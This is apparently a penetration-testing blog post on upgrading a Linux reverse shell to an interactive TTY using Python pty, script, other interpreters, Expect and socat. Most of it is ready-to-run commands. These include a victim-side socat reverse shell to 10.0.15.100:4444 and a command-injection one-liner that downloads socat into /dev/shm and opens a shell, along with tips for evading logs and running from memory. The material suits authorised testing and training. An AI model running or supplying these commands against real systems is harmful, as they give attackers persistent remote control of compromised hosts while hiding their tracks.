Posts Upgrade a linux reverse shell to a fully usable TTY shell
Post
Cancel

Upgrade a linux reverse shell to a fully usable TTY shell

Hack responsibly disclaimer

Upgrading remote shells (Unix machines only)

(For upgrading Windows shells click here)

Usually, after catching a shell through netcat you are placed in a shell that has very limited functionality. The features I miss the most are command history (and using the ‘up’ and ‘down’ arrows to cycle through them) and tab autocompletion. It can feel quite disorienting working in a shell that is missing these vital features.

Note: To check if the shell is a TTY shell use the tty command.

Upgrade to fully interactive shell using Python:

If the remote machine has Python installed you can easily upgrade to a fully functional TTY shell.

  1. First, after recieving your reverse shell you need to check the availability of Python. You can do this with the which command.
1
which python python2 python3

If any of these are installed this command will return the full path of the installed binary.

Note: The which command will only report programs that are installed in a folder that exists in $PATH. Python will almost always be in a $PATH directory so this should not be an issue.

  1. Next, on the victim machine type the below command (using the version of python that is available on the machine!)
1
python -c 'import pty;pty.spawn("/bin/bash")'; #spawn a python psuedo-shell

Your command prompt may or may not change to reflect the new shell. If it does not change, do not panic as this is configured locally and will depend on setting on the machine you are on.

  1. Next, type ctrl-z to send your shell to the background.

  2. On your attack platform, you will need to set up your shell to send control charcters and other raw input through the reverse shell. You can do this by using the stty command as below.

1
2
stty raw -echo
stty size 

The second command above will report the size of your terminal window in rows and columns. This is useful for command output that either fills the whole terminal (such as when using programs such as nano or vim) or that would output lines that are too long to fit in the window. Fixing the window size will allow for word-wrapping instead of cutting off output that is too long.

  1. After that, type the command fg to return the reverse shell to the foreground. You may need to hit [enter] once or twice to get your prompt to show again.

  2. Next, on the victim machine type the below commands to set some important environment variables.

1
2
3
export SHELL=bash
stty rows $x columns $y #Set remote shell to x number of rows & y columns
export TERM=xterm-256color #allows you to clear console, and have color output

Viola! You should now be the proud owner of a shiny new fully upgraded TTY shell with command history using the ‘up’ and ‘down’ arrows. This shell will also allow you to use the command clear to clear your screen and ‘control’ commands, such as ctrl-c to kill remotely running processes rather than your own shell! Enjoy!

Upgrading a shell when using zsh (for example in Kali linux)

The methods above will not work in every situation. For example, I have regularly run into a problem on my Kali machine where attempting to use stty raw -echo while using zsh or fish as my shell will cause the entire terminal to become unusable. I have gotten around this issue by switching to bash before I start any netcat listener that I will be using to catch a shell, but there are other methods that may work below.

Some of the things I have found that help mitigate these issues are:

  1. Use rlwrap nc -lvnp when setting up your listener,
  2. make sure not to put a space in your python pty command after the import,
  3. type stty size;stty raw -echo;fg all on one line.

Finally, as a last resort, you could just switch to bash instead when setting up your nc listener.

Using script

tldr: Substitute the python commands in step 1 and 2 above with this command, then continue the rest of the steps above.

1
script -qc /bin/bash /dev/null

Description: This might sound strange to those who are familiar with using the script command to log the output of their console sessions, but it can also be used to upgrade a reverse shell to a usable TTY using the -c command option.

The standard format of this command for logging purposes is script [options] [output file]. If you use the option -c /bin/bash, you will run bash as a command. The man page describes this option as such:

1
2
3
     Run the command rather than an interactive shell. This makes 
     it easy for a script to capture the output of a program that
     behaves differently when its stdout is not a tty.

In other words, since we are running bash, it properly captures stdin and stdout and creates the missing PTY and essentialy works the same as the python command above.

I also used /dev/null above as the ‘file’ to send the log to. If you do not include this, the script command will by default create a log file in the directory where you ran the command. If you are doing this on a remote system you may be leaving a transcript of all of your actions behind!

Thanks to OreoByte for the reminder of this tip!

Using Other Scripting Languages:

Below are some examples of other scripting languages that can be used to achieve the same upgraded shell as the second step above. Afterwards follow along from step 3.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
echo os.system('/bin/bash')
/bin/sh -i

#python3
python3 -c 'import pty; pty.spawn("/bin/sh")'

#perl
perl -e 'exec "/bin/sh";'

#ruby
exec "/bin/sh"
ruby -e 'exec "/bin/sh"'

#lua
lua -e "os.execute('/bin/sh')"

rlwrap

You can also mitigate some of the restrictions of poor netcat shells by wrapping the netcat listener with the rlwrap command. This is not installed by default so you will need to install it using sudo apt rlwrap.

1
rlwrap nc -lvnp $port

Using “Expect” To Get A TTY

If you’re lucky enough to have the Expect language installed just a few lines of code will get you a good enough TTY to run useful tools such as “ssh”, “su” and “login”.

Create a script called sh.exp

1
2
3
4
5
#!/usr/bin/expect
# Spawn a shell, then allow the user to interact with it.
# The new shell will have a good enough TTY to run tools like ssh, su and login
spawn sh
interact

Then, execute this script on the victim machine. For added sneakiness, run the script from memory.

Using socat

Another option is to upload the binary for socat to the victim machine and magically get a fully interactive shell. Download the appropriate binaries from https://github.com/andrew-d/static-binaries. Socat needs to be on both machines for this to work.

1
2
3
4
5
#Create Listener on attack platform:
socat file:`tty`,raw,echo=0 tcp-listen:4444

#From Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.15.100:4444

socat one-liner

This one-liner can be injected wherever you can get command injection for an instant fully interactive reverse shell. Point the path to the binary to your local http server if internet access is limited on the victim.

1
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /dev/shm/socat; chmod +x /dev/shm/socat; /dev/shm/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.15.100:4444

Other Examples

If you have any other examples of methods of upgrading reverse shells, or have any other fun or useful tips or tricks, feel free to contact me on Github at https://github.com/zweilosec or in the comments below!

References

If you like this content and would like to see more, please consider buying me a coffee!

This post is licensed under CC BY 4.0 by the author.